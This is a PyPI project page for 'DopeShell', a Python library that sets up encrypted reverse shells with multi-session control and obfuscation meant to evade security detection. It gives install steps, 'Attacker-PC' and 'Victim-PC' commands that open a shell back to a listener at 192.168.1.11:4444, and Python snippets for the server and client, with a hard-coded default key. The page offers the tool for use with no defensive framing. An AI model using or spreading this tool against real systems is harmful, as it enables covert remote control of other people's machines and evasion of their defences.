Skip to main content

A Python library for creating secure reverse shells with session management and encryption.

Project description

DopeShell

Static Badge Static Badge Static Badge

Introduction

DopeShell is a Python library designed to simplify the creation of secure reverse shells with advanced features like session management, encryption, multiple connections, and obfuscation techniques. This library provides an easy-to-use interface for setting up both the client and server sides of a reverse shell, with the ability to manage multiple sessions, simulate command-line prompts, and more.

Features

  • Encrypted Communication: Utilizes AES encryption to secure data transmitted between the client and server.
  • Session Management: Handles multiple active sessions and allows the server operator to switch between them.
  • Command Prompt Simulation: The reverse shell simulates the target's command-line interface, making it appear as if the commands are being executed locally.
  • Obfuscation Techniques: Implements basic obfuscation to avoid detection by security systems.
  • Customizable: Easily configure host, port, and encryption key via command-line arguments.

Directory Structure

The project is organized as follows:

  • setup.py: Contains the package configuration for installation.
  • README.md: This documentation file.
  • LICENSE: The project's license file.
  • dopeshell/: The main package directory containing the server and client scripts.

Installation

Prerequisites

  • Python 3.7+
  • pip (Python package manager)

Installing DopeShell

You can install DopeShell using pip:

pip install DopeShell

Building DopeShell

If you want to build it yourself, you can use the following commands:

1. git clone https://www.github.com/anonymous300502/DopeShellPyPi
2. python setup.py sdist bdist_wheel
3. pip install dist/DopeShell-1.1.1-py3-none-any.whl (Replace the .whl file with the file in your dist directory)

Usage Instructions:

On the Attacker-PC, Run the following commands:

dopeshell-server --host 192.168.1.11 --port 4444 --key "myverystrongpasswordo32bitlength"

Note:

  • Dopeshell uses "myverystrongpasswordo32bitlength" as the default key so you can skip the --key argument if you wish to use the default key, but we recommend using your own custom key which should be 32 bits long.
  • If you omit the --host and --port arguments, It uses '0.0.0.0' as the default IP address and '4444' as the default port.

On the Victim-PC, Run the following commands:

dopeshell-client --server-ip 192.168.1.11 --port 4444 --key "myverystrongpasswordo32bitlength"

Note:

  • The server ip and port arguments are required here, If a custom key was used in the server it should be mentioned using the --key argument. If a custom key is not used in the server side startup command, It will use the default key automatically.

Usage commands:

  • switch NUMBER [To switch between available sessions]
  • exit [To exit the session]


    Image1- Running commands basic_usage_1


    Image2- Switching between sessions basic_usage_2


Here are sample snippets if you wish to use the library in your own code:

  • test_server.py
from DopeShell import DopeShellServer

key = b'myverystrongpasswordo32bitlength'

server = DopeShellServer('0.0.0.0', 4444, key)
server.run()
  • test_client.py
from DopeShell import DopeShellclient

key = b'myverystrongpasswordo32bitlength'

server = DopeShellclient('192.168.1.11', 4444, key)
server.run()

Contributing

  • Contributions are welcome! To contribute:
  • Fork the repository.
  • Create a new branch for your feature/bugfix.
  • Write tests for your changes.
  • Submit a pull request.
  • Please ensure your code adheres to the project's coding standards.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contributors:

Manaswi Sharma

Contact Information

For issues, questions, or suggestions, please contact:

Email: 170mailmea@gmail.com
GitHub: https://github.com/anonymous300502

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

dopeshell-1.1.1.tar.gz (6.0 kB view details)

Uploaded Source

Built Distribution

DopeShell-1.1.1-py3-none-any.whl (7.1 kB view details)

Uploaded Python 3

File details

Details for the file dopeshell-1.1.1.tar.gz.

File metadata

  • Download URL: dopeshell-1.1.1.tar.gz
  • Upload date:
  • Size: 6.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.12.5

File hashes

Hashes for dopeshell-1.1.1.tar.gz
Algorithm Hash digest
SHA256 1cc72b3618e0ef0341568f0d0fbc4baf13c20d43235d8f2666008079a4e04fb3
MD5 658fcab129b136cbb4ec7d127d4c1da8
BLAKE2b-256 473918acbde904b8c25b5d38d9d1ec366876e3bda7daecd044a7592d7825c75a

See more details on using hashes here.

File details

Details for the file DopeShell-1.1.1-py3-none-any.whl.

File metadata

  • Download URL: DopeShell-1.1.1-py3-none-any.whl
  • Upload date:
  • Size: 7.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.12.5

File hashes

Hashes for DopeShell-1.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 f626771395525d5d2983bd31d35774d7fc82f6be9ebf1c2c951cd015d3c7031b
MD5 e805328414f84f7018ba247b65b929d2
BLAKE2b-256 f61f98b94818ef3152b762facd1628f3edfc8649b31d0f9c17bf77ba516538b1

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page